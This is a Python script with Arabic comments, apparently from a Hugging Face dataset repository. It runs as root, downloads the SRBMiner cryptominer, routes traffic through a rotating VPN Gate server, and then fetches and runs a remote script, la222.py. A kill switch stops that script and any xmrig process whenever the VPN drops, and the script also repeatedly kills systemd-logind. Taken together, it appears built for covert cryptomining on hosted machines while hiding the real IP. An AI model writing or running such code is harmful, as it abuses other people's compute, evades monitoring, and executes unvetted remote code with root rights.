gfdg34fsd/newe
9688k
1#!/usr/bin/env python32# -*- coding: utf-8 -*-3# ============================================================4# restfirst.py - VPN Gate + la222.py + Kill Switch (بدون Docker)5# ============================================================6 7import os8import sys9import time10import signal11import base6412import shutil13import subprocess14import urllib.request15from datetime import datetime16 17# ============================================================18# إعدادات عامة19# ============================================================20HOST_VPN_CONFIG_FILE = "/etc/openvpn/vpngate.ovpn"21OPENVPN_LOG = "/var/log/vpngate-openvpn.log"22LA222_PATH = "/root/la222.py"23LA222_URL = "https://huggingface.co/datasets/gfdg34fsd/newe/resolve/main/la222.py"24 25# ---- جديد: SRBMiner ----26SRB_URL = "https://github.com/doktor83/SRBMiner-Multi/releases/download/3.6.7/SRBMiner-Multi-3-6-7-Linux.tar.gz"27SRB_ARCHIVE = "/root/SRBMiner-Multi-3-6-7-Linux.tar.gz"28SRB_DIR = "/root/SRBMiner-Multi-3.6.7" # المجلد بعد فك الضغط29SRB_BIN = "/root/SRBMiner-Multi-3.6.7/SRBMiner-Multi" # المسار المتوقع للملف التنفيذي30# -------------------------31 32CHECK_INTERVAL = 233VPN_CONNECT_TIMEOUT = 3034PROCESSES_TO_KILL = ["systemd-logind"]35 36 37def log(msg):38 ts = datetime.now().strftime("%H:%M:%S")39 print(f"[{ts}] {msg}", flush=True)40 41 42def run_cmd(cmd, shell=True, check=False, timeout=None):43 return subprocess.run(44 cmd, shell=shell, capture_output=True, text=True,45 check=check, timeout=timeout46 )47 48def download_srbminer():49 """تحميل ملف Multi.tar.gz كما هو إلى /root (بجانب la222.py)"""50 log("[*] تحميل -Multi.tar.gz...")51 try:52 if os.path.exists(SRB_ARCHIVE):53 os.remove(SRB_ARCHIVE)54 55 req = urllib.request.Request(56 SRB_URL, headers={'User-Agent': 'Mozilla/5.0'}57 )58 data = urllib.request.urlopen(req, timeout=60).read()59 with open(SRB_ARCHIVE, "wb") as f:60 f.write(data)61 log(f"[✓] تم تحميل SRBMiner ({len(data)} بايت) → {SRB_ARCHIVE}")62 return True63 except Exception as e:64 log(f"[!] فشل تحميل SRBMiner: {e}")65 return False66# ============================================================67# 0. التحقق من متطلبات المضيف68# ============================================================69def ensure_host_dependencies():70 log("[*] التحقق من المتطلبات على المضيف...")71 required = {72 "openvpn": "openvpn",73 "curl": "curl",74 "ip": "iproute2",75 "python3": "python3",76 }77 missing = [pkg for binary, pkg in required.items() if shutil.which(binary) is None]78 79 if not missing:80 log("[✓] جميع المتطلبات موجودة.")81 return True82 83 log(f"[!] حزم مفقودة: {', '.join(missing)}")84 run_cmd("apt-get update -y")85 install = run_cmd(86 f"DEBIAN_FRONTEND=noninteractive apt-get install -y {' '.join(missing)}"87 )88 if install.returncode != 0:89 log(f"[!] فشل التثبيت: {install.stderr}")90 return False91 92 for binary in required:93 if shutil.which(binary) is None:94 log(f"[!] لا يزال {binary} مفقوداً.")95 return False96 97 log("[✓] تم تثبيت جميع المتطلبات.")98 return True99 100 101# ============================================================102# 1. جلب إعداد VPN Gate103# ============================================================104def fetch_vpngate_config():105 log("[*] جاري جلب خادم VPN Gate...")106 try:107 req = urllib.request.Request(108 "https://www.vpngate.net/api/iphone/",109 headers={'User-Agent': 'Mozilla/5.0'}110 )111 lines = urllib.request.urlopen(req, timeout=15).read().decode('utf-8').split('\n')112 113 candidates = []114 for line in lines:115 if line.startswith(('*', '#')) or not line.strip():116 continue117 cols = line.split(',')118 if len(cols) > 14:119 try:120 score = int(cols[2])121 candidates.append((score, cols[14], cols[1]))122 except:123 continue124 125 if not candidates:126 log("[!] لا توجد خوادم متاحة.")127 return None128 129 candidates.sort(reverse=True)130 best_score, best_config, best_ip = candidates[0]131 log(f"[✓] تم اختيار خادم: {best_ip} (score={best_score})")132 return base64.b64decode(best_config).decode('utf-8')133 except Exception as e:134 log(f"[!] فشل جلب الخوادم: {e}")135 return None136 137 138# ============================================================139# 2. إيقاف VPN المضيف140# ============================================================141def stop_host_vpn():142 log("[*] إيقاف VPN المضيف...")143 subprocess.run("pkill -9 -f 'openvpn.*vpngate' 2>/dev/null", shell=True)144 subprocess.run("ip link delete tun0 2>/dev/null", shell=True)145 time.sleep(1)146 147 148# ============================================================149# 3. تشغيل VPN المضيف150# ============================================================151def start_host_vpn():152 config = fetch_vpngate_config()153 if not config:154 return False155 156 os.makedirs(os.path.dirname(HOST_VPN_CONFIG_FILE), exist_ok=True)157 with open(HOST_VPN_CONFIG_FILE, "w", encoding="utf-8") as f:158 f.write(config)159 160 log("[*] تشغيل OpenVPN على المضيف...")161 subprocess.Popen(162 f"openvpn --config {HOST_VPN_CONFIG_FILE} --log {OPENVPN_LOG}",163 shell=True,164 stdout=subprocess.DEVNULL,165 stderr=subprocess.DEVNULL,166 preexec_fn=os.setsid167 )168 169 for i in range(VPN_CONNECT_TIMEOUT):170 if run_cmd("ip a | grep -q tun").returncode == 0:171 log("[✓] تم الاتصال بـ VPN!")172 time.sleep(2)173 return True174 time.sleep(1)175 176 log("[!] لم يستقر اتصال VPN.")177 return False178 179 180# ============================================================181# 4. فحص حالة VPN182# ============================================================183def is_vpn_alive():184 if run_cmd("ip a | grep -q tun").returncode != 0:185 return False186 result = run_cmd("curl -s --max-time 5 https://1.1.1.1/cdn-cgi/trace")187 return "ip=" in result.stdout188 189 190# ============================================================191# 5. تحميل وتشغيل la222.py192# ============================================================193def download_la222():194 """تحميل la222.py من HuggingFace (يُستدعى بعد نجاح اتصال VPN)"""195 log("[*] تحميل la222.py...")196 try:197 # حذف النسخة القديمة إن وُجدت لضمان نسخة نظيفة198 if os.path.exists(LA222_PATH):199 os.remove(LA222_PATH)200 201 req = urllib.request.Request(202 LA222_URL, headers={'User-Agent': 'Mozilla/5.0'}203 )204 data = urllib.request.urlopen(req, timeout=30).read()205 with open(LA222_PATH, "wb") as f:206 f.write(data)207 os.chmod(LA222_PATH, 0o755)208 log(f"[✓] تم تحميل la222.py ({len(data)} بايت)")209 return True210 except Exception as e:211 log(f"[!] فشل تحميل la222.py: {e}")212 return False213 214 215def start_la222():216 log("[*] تشغيل la222.py...")217 proc = subprocess.Popen(218 f"python3 -u {LA222_PATH}",219 shell=True,220 stdout=open("/var/log/la222.log", "a"),221 stderr=subprocess.STDOUT,222 preexec_fn=os.setsid223 )224 log(f"[✓] la222.py يعمل (PID={proc.pid})")225 return proc226 227 228def kill_la222():229 log("[*] إنهاء la222.py وكل عملياته...")230 subprocess.run("pkill -9 -f 'python3.*la222.py' 2>/dev/null", shell=True)231 subprocess.run("pkill -9 -f xmrig 2>/dev/null", shell=True)232 time.sleep(1)233 log("[✓] تم إنهاء la222.py")234 235 236# ============================================================237# 6. إنهاء العمليات الممنوعة238# ============================================================239def kill_forbidden_processes():240 for proc_name in PROCESSES_TO_KILL:241 result = run_cmd(f"pgrep -f {proc_name}")242 if result.stdout.strip():243 log(f"[*] إنهاء العمليات: {proc_name}")244 subprocess.run(f"pkill -9 -f {proc_name} 2>/dev/null", shell=True)245 log(f"[✓] تم إنهاء {proc_name}")246 247 248def main_loop():249 log("=" * 60)250 log("🚀 بدء نظام VPN + la222.py (بدون Docker)")251 log("=" * 60)252 253 # --- 1) التحقق من متطلبات المضيف ---254 if not ensure_host_dependencies():255 log("❌ فشل تجهيز المضيف.")256 sys.exit(1)257 258 # --- 2) تحميل SRBMiner من GitHub قبل الاتصال بـ VPN (على IP الحقيقي) ---259 log("")260 log("=" * 60)261 log("⬇️ تحميل SRBMiner قبل الاتصال بـ VPN...")262 log("=" * 60)263 if not download_srbminer():264 log("❌ فشل تحميل SRBMiner. إنهاء السكربت.")265 sys.exit(1)266 267 # --- 3) الدورة الرئيسية ---268 while True:269 log("")270 log("=" * 60)271 log("🔄 بدء دورة جديدة...")272 log("=" * 60)273 274 kill_la222()275 stop_host_vpn()276 kill_forbidden_processes()277 278 if not start_host_vpn():279 log("⏳ فشل تشغيل VPN. إعادة المحاولة بعد 10 ثوانٍ...")280 time.sleep(10)281 continue282 283 ip_result = run_cmd("curl -s --max-time 10 https://1.1.1.1/cdn-cgi/trace | grep '^ip='")284 log(f"[✓] IP الحالي: {ip_result.stdout.strip()}")285 286 # --- تحميل la222.py فقط بعد نجاح VPN ---287 if not download_la222():288 log("⚠️ فشل تحميل la222.py. إعادة تشغيل الدورة...")289 stop_host_vpn()290 time.sleep(10)291 continue292 293 start_la222()294 time.sleep(5)295 296 log("👀 بدء المراقبة (Kill Switch)...")297 consecutive_fails = 0298 while True:299 time.sleep(CHECK_INTERVAL)300 alive = is_vpn_alive()301 if not alive:302 consecutive_fails += 1303 log(f"⚠️ فشل فحص VPN ({consecutive_fails}/2)")304 if consecutive_fails >= 2:305 log("❌❌❌ انقطع اتصال VPN! تنفيذ Kill Switch ❌❌❌")306 kill_la222()307 kill_forbidden_processes()308 stop_host_vpn()309 break310 else:311 consecutive_fails = 0312 313 log("🔄 إعادة تشغيل النظام بالكامل...")314 time.sleep(3)315 316 317# ============================================================318# نقطة الدخول319# ============================================================320if __name__ == "__main__":321 if os.geteuid() != 0:322 print("🔁 إعادة تشغيل بصلاحيات root...")323 subprocess.check_call(["sudo", sys.executable] + sys.argv)324 sys.exit(0)325 326 try:327 main_loop()328 except KeyboardInterrupt:329 log("")330 log("⛔ تم إيقاف السكربت يدوياً. تنظيف...")331 kill_la222()332 stop_host_vpn()333 log("[✓] تم التنظيف.")334 sys.exit(0)335 